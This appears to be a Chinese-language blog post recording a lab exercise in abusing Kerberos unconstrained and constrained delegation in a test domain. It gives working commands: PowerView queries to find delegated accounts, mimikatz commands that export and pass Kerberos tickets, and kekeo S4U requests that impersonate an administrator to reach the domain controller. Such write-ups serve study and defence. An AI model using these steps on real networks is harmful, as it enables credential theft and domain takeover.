域渗透-Kerberos委派学习

Kerberos委派学习

Posted by hmoytx on February 19, 2020

域渗透-Kerberos委派学习

委派

举个例子,在域中如果出现A主机使用Kerberos身份验证访问域中的服务http,而http再利用A的身份去请求域中的服务sql,这个借用身份验证过程就可以理解为委派。
而委派主要分为非约束委派和约束委派两个方式。

  • 非约束委派
    非约束委派在Kerberos中实现时,User会将从KDC处得到的TGT(入场券)发送给访问的服务1(可以是任意服务),服务1拿到TGT之后可以通过TGT申请TS(票据)访问域内任意其他服务,所以被称为非约束委派。
  • 约束委派
    由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos协议扩展。

非约束委派

非约束委派设置

我随便设置了一个。

setspn -A http/owa.god.org:80 liukaifeng01

200219_1
域控上把账号属性中的委派设置为完全信任。
200219_2

发现非约束委派主机或账户

用到一个框架PowerSploit中的PowerView。建议两个分支都下。
这里先用到master分支。切到Recon目录,打开powershell。
先查询用户。

Imort-Module ./PowerView.ps1  
Get-NetUser -Unconstrained -Domain god.org

200219_3
查询主机。

Get-NetComputer -TrustedToAuth -Domain god.org

200219_4

非约束委派利用

先在域控上登陆域管,访问下域成员主机的smb服务(生成下TGT)。
200219_12
然后在域成员上用mimikatz导出所有的内存中的票据。(需要管理员权限的)

kerberos::tickets /export

200219_5
此时去域成员去访问域控的smb是拒绝访问的。
200219_6
然后导入票据。

kerberos::ptt xxxxxxxx.kirbi

这时候再试试访问可以发现成功了。
200219_7

约束委派

约束委派设置

如图在委派设置中设置为仅信任指定服务。
200219_7

发现约束委派主机或账户

用到的是PowerSploit的dev分支。
先查询用户。

Imort-Module ./PowerView.ps1  
Get-DomainUser -TrustedToAuth -Domain god.org

200219_8
查询主机。

Get-DomainComputer -TrustedToAuth -Domain god.org

200219_9

约束委派利用

首先用kekeo.exe去申请TGT。

tgt::ask /user:liukaifeng01 /domain:god.org /password:[email protected]# /ticket:liukaifeng01.kirbi

200219_10
然后去利用这个TGT申请TGS票据,试了好几次失败了。
找了下原因是因为策略问题,修改了下本地安全策略的kerberos加密方式为RC4加密,然后更新策略。
再申请一次,成功了。

tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.god.org

200219_11
然后用mimikatz导入票据再去访问域控,可以发现已经可以了。
200219_13

参考

https://xz.aliyun.com/t/7217#toc-0